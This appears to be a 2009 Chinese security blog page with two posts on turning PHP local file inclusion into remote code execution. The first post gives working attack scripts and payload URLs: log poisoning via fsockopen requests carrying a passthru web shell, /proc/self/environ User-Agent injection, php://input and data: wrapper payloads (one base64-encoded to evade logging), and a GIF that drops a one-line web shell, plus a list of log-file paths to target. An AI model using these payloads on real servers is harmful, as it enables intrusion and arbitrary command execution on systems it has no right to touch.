• 利用PHP代码实现LFI2RCE

    日期:2009-07-07 | 分类:脚本攻防

    作者:泉哥

    主页:http://riusksk.blogbus.com

    之前曾写过一篇博文《LFI2RCE思路》:http://riusksk.blogbus.com/logs/34781127.html,本文主要是利用PHP代码来实现LFI2RCE,主要是看了《hack in zine》杂志之后学到的,这里顺便记录一下,但所使用的方法依然是上一博文中所提到的,即利用服务器上的相关记录文件来实现LFI2RCE。

    在HIZ杂志中所用到的函数是passthru(http://cn2.php.net/passthru),主要还是为了实现一句话木马,当然也可使用exec 以及system等函数,三者之间的区别可参考《PHP 执行系统外部命令 system() exec() passthru()》:http://hi.baidu.com/cgeek/blog/item/fb9a1e4cd1bf1afdd62afc73.html

    漏洞代码:

    <?php include($_GET['content']); ?>

    方法一:

    请求代码如下:

    1. <?php
    2. $a = fsockopen("localhost",80);
    3. fwrite ($a, "GET /<?php passthru(\$_GET['cmd']);?> HTTP/1.1\r\n".
    4. "Host:localhost\r\n".
    5. "Connection:Close\r\n\r\n");
    6. fclose($a);
    7. ?>

    接下来再依据服务器的日志文件路径执行请求,比如aphche,可执行以下请求:
    http://localhost/index.php?content=/var/log/httpd/access_log&cmd=id

    当然也可有其它日志文件路径,比如:

    "/etc/httpd/logs/acces_log",
    "/etc/httpd/logs/acces.log",
    "/var/www/logs/access_log",
    "/var/www/logs/access.log",
    "/usr/local/apache/logs/access_log",
    "/usr/local/apache/logs/access.log",
    "/var/log/apache/access_log",
    "/var/log/apache/access.log",
    "/var/log/httpd/access_log",
    "/var/log/httpd/access.log",
    "D:/apps/Apache Group/Apache2/logs/access.log"

    关于日志文件路径的获取,可以通过访问 proc/self/environ和proc/self/cmdline得到路径,proc/self/environ可以显示当前服务器的环境状态,而proc/self/cmdline可以显示进程所调用的命令行参数.如果是在apache上访问以上的配置文件,那么就可以获得其安装的全路径,同时也可得到log文件的路径.

    方法二:
    另外,也可利用包含环境变量的文件:/proc/self/environ ,而此时我们将恶意代码插入到User-Agent header中,那么在代码就会被记录到以上文件中,具体代码如下:

    1. <?php
    2. $a=fsockopen("localhost",80);
    3. fwrite($a,
    4. "GET /../../../../proc/self/environ HTTP/1.1\r\n".
    5. "User-Agent: <?php passthru(\$_GET['cmd']); ?> \r\n".
    6. "Host: localhost \r\n".
    7. "Connection: Close\r\n\r\n");
    8. fclose($a);
    9. ?>

    方法三

    还有一种方法就是利用php://wrapper(http://www.php.net/wrappers.php),例如使用php://input来获取HTTP POST 请求中的原始数据并远程执行:

    1. <?php
    2. $request = "<?php passthru('id;'); ?>";
    3. $req = "POST /index.php?content=php://input HTTP /1.1\r\n".
    4. "Host:localhost\r\n".
    5. "Content-type:text/html\r\n".
    6. "Content-length:".strlen($request)."\r\n".
    7. "Connection: Close\r\n\r\n".
    8. "$request \r\n\r\n";
    9. $a=fsockopen("localhost",80);
    10. fwrite($a,$req);
    11. echo $req;
    12. while (!feof($a))
    13. {  echo fgets($a,128);  }
    14. fclose($a);
    15. ?>

    方法四:

    利用"data:"wrapper(http://cn.php.net/manual/en/wrappers.data.php):

        index.php?content=data:<?php system($_GET[c]); ?>?&c=dir

    可再进行base64加密以绕过validation/sketchy logs:

    index.php?content=data:;base64, \

    PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir

     方法五:

    先在论坛或个人资料等可上传图片的地方上传一张包含PHP代码的图片,内容如下(以gif格式为例,用十六进制编辑器修改):

    gif89a

    <? php fputs(fopen("a.php","w"),"<?php system($_REQUEST['cmd']);?>") ?>

    必要的话,还可将上面的内容进行编码,然后通过查看图片的地址,接着在地址栏中输入:

    index.php?content=图片地址

    最后用一句话木马客户端去连接a.php。

     

  • LFI2RCE思路

    日期:2009-02-08 | 分类:脚本攻防

    当我们遇到一个本地文件包含漏洞(LFI)时,在对方的服务器上我们并未找到有用的信息时,或者当对方存在一个远程文件包含漏洞(RFI)时,但由于防火墙过滤或服务器的相关设置,以致不能访问来自服务器之外的访问,引起远程文件包含失败,这时也就相当于一个本地文件包含漏洞了。在以上情况下,我们就可以通过注入服务器日志文件来执行恶意代码(如一句话木马),比如通过URL strings或者 User Agents等方式来注入恶意代码到Apache的访问日志文件中,再通过本地文件包含漏洞来执行日志的恶意代码。这种LFI2RCE思路最早是在2003-05-29 有人在milw0rm上公布exploit时利用这种技术:http://www.milw0rm.com/exploits/34,大家也可参考下文:http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/。前几天在milw0rm上也有人利用这种方式公布了一个exploit:http://www.milw0rm.org/exploits/7980 ,这些exploit都是用perl写的,本人对这种语言不太了解,只是看了个大概,熟悉这种语言的朋友,欢迎对本文评论指教。